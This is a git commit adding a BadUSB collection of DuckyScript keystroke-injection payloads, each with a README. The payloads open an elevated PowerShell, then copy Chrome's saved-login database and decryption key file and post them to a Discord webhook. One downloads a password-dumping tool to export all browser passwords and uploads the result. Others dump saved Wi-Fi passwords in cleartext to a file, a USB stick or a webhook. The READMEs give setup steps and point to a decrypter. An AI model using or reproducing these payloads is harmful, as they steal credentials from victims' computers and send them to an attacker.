Adding lost UNC0V3R3D BadUSB Collection

2026-09-18 18:01:30 +00:00 · 2024-04-15 23:47:39 -07:00
parent 06c3423537
commit 103d83bf76
155 changed files with 5841 additions and 0 deletions
@@ -0,0 +1,26 @@
+REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
+REM Description: Copies the chrome login file and sends it to a discord webhook.
+REM Version:	1.0
+REM Category:	Passwords
+DELAY 500
+WINDOWS d
+DELAY 500
+WINDOWS r
+DELAY 500
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 800
+LEFTARROW
+ENTER
+DELAY 800
+STRING $hookurl='YOUR-DISCORD-WEBHOOK'
+DELAY 800
+ENTER
+STRING function Upload-Discord {[CmdletBinding()]param([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text)$Body=@{'username'=$env:username;'content'=$text};if (-not([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}if (-not([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}}
+ENTER
+DELAY 300
+STRING $sourceFile1 = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"; $outputFile1 = "$([System.Environment]::GetFolderPath('Desktop'))\output.txt"; Copy-Item $sourceFile1 $outputFile1; Upload-Discord -file $outputFile1 -text ":)"; Remove-Item $outputFile1; $sourceFile2 = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"; $outputFile2 = "$([System.Environment]::GetFolderPath('Desktop'))\key.txt"; Copy-Item $sourceFile2 $outputFile2; Upload-Discord -file $outputFile2 -text "Key-File"; Remove-Item $outputFile2
+ENTER
+DELAY 1000
+STRING exit
+ENTER
@@ -0,0 +1,39 @@
+
+# chrome_passwords_discord
+Grabs the "key" and "login data" file for google chrome and sends them to a discord webhook. To decrypt please read below.
+
+## How to use?
+
+Well this script is kind of plug and play. After the two files ("encryped passwords" and "key.txt") got sent to your webhook, you will have to decrypt the passwords.
+
+To do this, I have coded a python program that will use the grabbed "key" to decrypt the passwords.
+
+Get the [program]
+
+
+## Features
+
+- open powershell
+- grab 2 files
+- send files to webhook
+
+## Feedback
+
+If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
+
+[program]: https://github.com/UNC0V3R3D/ChromeDecrypter
+
+
+
+
+## Support
+
+For support, contact me via  Discord "UNC0V3R3D#8662".
+
+
+## Meta
+
+
+- If you want to sponsor me on Patreon, the link is on my profile.
+
+
@@ -0,0 +1,21 @@
+REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
+REM Description: New script for getting all Webbrowser passwords and sending them to a discord-webhook.
+REM Version:	1.0
+REM Category:	Passwords
+DELAY 500
+WINDOWS d
+DELAY 500
+WINDOWS r
+DELAY 500
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 800
+LEFTARROW
+ENTER
+DELAY 800
+STRING $hookurl = "webhook url here"
+ENTER
+DELAY 300
+STRING mkdir \temp; cd \temp; Invoke-WebRequest -Headers @{'Referer' = 'http://www.nirsoft.net/utils/web_browser_password.html'} -Uri https://www.nirsoft.net/toolsdownload/webbrowserpassview.zip -OutFile wbpv.zip; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip; Expand-Archive 7z.zip; .\7z\7za.exe e wbpv.zip; Start-Sleep -Seconds 5; $pass = ConvertTo-SecureString 'wbpv28821@' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential ('', $pass); Start-Process -FilePath .\WebBrowserPassView.exe -Credential $cred -Wait; Start-Sleep -Seconds 3; $wshell = New-Object -ComObject Wscript.Shell; $wshell.SendKeys('^{A}'); $wshell.SendKeys('^{S}'); Start-Sleep -Seconds 1; $wshell.SendKeys('export'); $wshell.SendKeys('{Tab}'); $wshell.SendKeys('h'); $wshell.SendKeys('{Enter}'); Start-Sleep -Seconds 1; $wshell.SendKeys('%{F4}'); Start-Sleep -Seconds 1; $file = 'C:\temp\export.htm'; function Upload-Discord {[CmdletBinding()] param ([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text); $Body = @{'username' = $env:username; 'content' = $text}; if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F 'file1=@$file' $hookurl}; }; Upload-Discord -file 'C:\temp\export.htm' -text 'File:'
+ENTER
+
@@ -0,0 +1,38 @@
+
+# Show_Saved_Passwords
+Shows all saved passwords.
+
+## How to use?
+
+This script is not plug and play. You have to make the following changes:
+
+- change the discord webhook url (Line 16)
+
+
+## Features
+
+- open powershell
+- download webbrowserview.exe
+- save passwords from webbrowsers
+- send file to discord webhook
+
+## Feedback
+
+If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
+
+
+
+
+
+
+## Support
+
+For support, contact me via  Discord "UNC0V3R3D#8662".
+
+
+## Meta
+
+
+- If you want to sponsor me on Patreon, the link is on my profile.
+
+
@@ -0,0 +1,21 @@
+REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
+REM Description: Steals all of the saved Wifi Passwords and stores them into a file.
+REM Version:	1.0
+REM Category:	Passwords
+DELAY 500
+WINDOWS d
+DELAY 500
+WINDOWS r
+DELAY 500
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 800
+LEFTARROW
+ENTER
+DELAY 800
+ALT y
+DELAY 500
+GUI UP
+DELAY 600
+STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item  ($userDir) -ItemType Directory;$date = get-date;netsh wlan export profile key=clear folder=$fileSaveDir;Compress-Archive -Path $fileSaveDir -DestinationPath C:PUT PATH HERE\ResultsPassword.zip ; exit 
+ENTER
@@ -0,0 +1,37 @@
+
+# StealWifiKeys
+Steals all of the saved Wifi Passwords and stores them into a file.
+
+## How to use?
+
+This script is not plug and play. You will need to do the following changes:
+
+- change destination path "-DestinationPath C:PUT PATH HERE\ResultsPassword.zip"
+
+
+## Features
+
+- open powershell
+- grab wifi keys
+- store keys to a file
+
+## Feedback
+
+If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
+
+
+
+
+
+
+## Support
+
+For support, contact me via  Discord "UNC0V3R3D#8662".
+
+
+## Meta
+
+
+- If you want to sponsor me on Patreon, the link is on my profile.
+
+
@@ -0,0 +1,21 @@
+REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
+REM Description: Steals all of the saved Wifi Passwords and sends them to a discord webhook.
+REM Version:	1.0
+REM Category:	Passwords
+DELAY 750
+WINDOWS d
+DELAY 1500
+WINDOWS r
+DELAY 1500
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 750
+LEFTARROW
+ENTER
+DELAY 1200
+ALT y
+DELAY 1200
+GUI UP
+DELAY 1200
+STRING $hookurl = "DISCORD WEBHOOK URL"; $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\UNC0V3R3D ' + $folderDateTime; $fileSaveDir = New-Item  ($userDir) -ItemType Directory; $date = get-date; netsh wlan export profile key=clear folder=$fileSaveDir; Compress-Archive -Path $fileSaveDir -DestinationPath c:\results-74935290.zip; $Body = @{'username' = $env:username; 'content' = "Obiwan: Hello there!"}; Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json); curl.exe -F 'file1=@c:\results-74935290.zip' $hookurl;
+ENTER
@@ -0,0 +1,36 @@
+
+# StealWifiKeys_Discord
+Steals all of the saved Wifi Passwords, stores them to a file and uplaods the file to a discord webhook.
+
+## How to use?
+
+This script is not plug and play. You will need to do the following changes:
+
+- change webhook url 
+
+
+## Features
+
+- open powershell
+- grab wifi keys
+- store keys to a file
+- sends file to discord webhook
+
+## Feedback
+
+If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
+
+
+
+
+
+
+## Support
+
+For support, contact me via  Discord "UNC0V3R3D#8662".
+
+
+## Meta
+
+
+- If you want to sponsor me on Patreon, the link is on my profile.
@@ -0,0 +1,20 @@
+REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
+REM Description: Steals all of the saved Wifi Passwords and stores them into a USB device of your choice.
+REM Version:	1.0
+REM Category:	Passwords
+DELAY 750
+WINDOWS d
+DELAY 1000
+WINDOWS r
+DELAY 900
+STRING powershell Start-Process powershell -Verb runAs
+ENTER
+DELAY 750
+LEFTARROW
+ENTER
+DELAY 900
+ALT y
+DELAY 900
+GUI UP
+DELAY 900
+STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item  ($userDir) -ItemType Directory;$date = get-date;netsh wlan export profile key=clear folder=$fileSaveDir;Compress-Archive -Path $fileSaveDir -DestinationPath File path on USB device here  
@@ -0,0 +1,37 @@
+
+# StealWifiKeys_onUSB
+Steals all of the saved Wifi Passwords and stores them into a file, then puts the file on a usb device connected to the target pc.
+
+## How to use?
+
+This script is not plug and play and only for experienced users. You will need to do the following changes:
+
+- change path to the usb device "-DestinationPath File path on USB device here"
+
+
+## Features
+
+- open powershell
+- grab wifi keys
+- store keys to a file on a usb device
+
+## Feedback
+
+If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
+
+
+
+
+
+
+## Support
+
+For support, contact me via  Discord "UNC0V3R3D#8662".
+
+
+## Meta
+
+
+- If you want to sponsor me on Patreon, the link is on my profile.
+
+